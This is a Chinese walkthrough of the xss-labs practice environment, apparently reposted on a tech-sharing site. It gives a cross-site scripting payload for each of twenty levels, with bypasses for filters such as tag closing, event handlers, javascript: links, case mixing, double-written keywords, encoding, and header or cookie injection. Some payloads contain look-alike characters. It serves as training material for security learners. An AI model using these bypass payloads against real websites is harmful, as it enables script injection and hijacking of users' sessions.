XSS-labs小手手
安装xss-labs文件到php目录下的www文件夹下
xss-labs level 1
二话不说先看下网页源码:
没啥头绪但是有个window.location.href=“level2”.php?keyword=test"
在搜索框直接改可以得到这个消息是get方式的
有了上面的测试下面就简单了直接输,通关:
xss-labs level2
还是查看源码发现也是get方法:
输入发现没有用:
要么就是被过滤了要么就是被闭合了,查看源码看看
构造语句闭合<input>
标签:"><script>alert('xss')</script>
xss-labs level3
查看网页源码,还是get方法:
先用常用语句<script>alert('xss')</script>
输入后查看源码:(value的值很关键)
而且很奇怪的是前面显示就少了一块括号:
这里不输入script标签,试试onclick事件:'οnclick='alert(“xss”)
xss-labs level4
老样子先输入特定script标签再查看源码,get方法,双引号
其实和第三关一致,将单引号变成双引号闭合即可:”οnclick=“alert(“xss”)
括号里面改成斜杠也行
xss-labs level5
老样子先输入再查看:
get方法,重点观察value
script标签被过滤掉了,再看看onclick标签也被过滤掉了(“οnclick=”alert(“xss”)):
所以试试<a>标签
,构造a标签的payload语句:
"><a href=javascript:alert(/xss/)>
xss-labs level6
老样子输入再看
get方法 script被过滤了
我感觉大概率onclick肯定也会被过滤没有试的必要了,用上一题的a标签:
"><a href=javascript:alert(/xss/)>
试了好多啥也没用,就想想大小写是不是也被过滤了:
1"><ScRipt>alert(1)</ScRipt>
xss-labs level7
输入再看,发现script没了直接变成了空的,所以这边肯定是遇到script的字符串就把她变成空值
不信我们可以再试试,只要连在一起就把他变成空的,我这边输入的是scriptscd最后就变成了scd:
所以我们可以双写来绕过(就是在script中间插入一个script,嵌套script):
"><sscriptcript>alert('xss')</sscriptcript>
xss-labs level8
输再看
这边将上面几关都试了然后实在做不出来吧就百度了,这一关的源码发现这一关对大小写、特殊字符、单双引号都进行了过滤处理:
这里使用的是一种新的绕过:编码绕过,用百度吧在线Unicode编码转义
将script转义成ASCII再次输入
javascript:alert(/xss/)
xss-labs level9(和第八关一样都是编码绕过)
先输入再看:get value
查看PHP源码发现链接头必须要以http://
开头,并且用了函数strpos:
strpos函数是返回字符串在另一字符串出现的位置,其实反过来想就是包含,所以这边就是要包含http://就行:
所以加的语句有http://就行,和第八关一样,就是加个http://:
javascript:alert('xsshttp://')
xss-labs level10
type=hidden头一回见,百度了一下:
隐藏域在页面中对于用户是不可见的,在表单中插入隐藏域的目的在于收集或发送信息,以利于被处理表单的程序所使用。浏览者单击发送按钮发送表单的时候,隐藏域的信息也被一起发送到服务器。
就是隐藏起来了,一般是name=keyword type=submit,构造事件:"type='text' onclick="javascript:alert(/xss/)
xss-labs level11
又是hidden,和第十关差不多,但是不一样的就是多了个t-ref:
用第十关的:"type='text' onclick="javascript:alert(/xss/)
成功。。。
xss-labs level12
看网页源码:又是hidden,这关的value值比之前复杂一点
查看插件中的网络查看请求头发现是useragent:
那构造payload的时候value值就试试user-agent:
value后的"user-agent" type='text' onclick="javascript:alert(/xss/)
xss-labs level13
查看源码发现有个t_cook我猜是cookie:
查看cookie值看看:
在cookie中构造payload:
Cookie" οnclick="alert(/xss/)" type="text
在bp中修改并且发送可以看到value的值已经发生了改变
xss-labs level14
直接没了,忘记截图了反正查了一下就是再点击读取的时候就会出现xss
xss-labs level15
看源码
百度ng-include语法和作用:
就是可以包含之前做的文件,查看源码发现是通过src传参:
构造payload,因为上面是get方法所以直接在网页搜索框中输入:
'level1.php?name=<a href="javascript:alert(/xss/)">'
然后点击蓝色链接:
xss-labs level16
试试在url中构造payload,发现script和/没了:
试试上一关的:<img src=1 onerror=alert("xss")>
发现空格已经被实体化了:
我们把空格进行编码:
<img
src
1
οnerrοr=alert('xss')>
xss-labs level17
什么图都没有,点击蓝色链接的话确实会进入18关(亲测),就是17关都没做。。。:
看参数:
查看PHP源码:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
这里是通过两个arg传的参数
直接在url中构造payload:arg01= onclick&arg02=alert(/xss/)
发现没有任何改变原因是火狐没法加载swf图片,切换到chrome发现可以:
点击图片完成
xss-labs level18
一开始看没图,其实和上一关一样就是swf火狐不加载,6
然后直接用上一关的payload直接过,源码也差不多:
arg01= onclick&arg02=alert(/xss/)
xss-labs level19
还是swf我服了
这题太难了就看了答案:
version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
xss-labs level20
这题应该和19题一样也是flash但是我没深入 看下答案:
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhfjigbj
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
photoshop蒙版画笔没反应怎么办
PHP中文网 06-24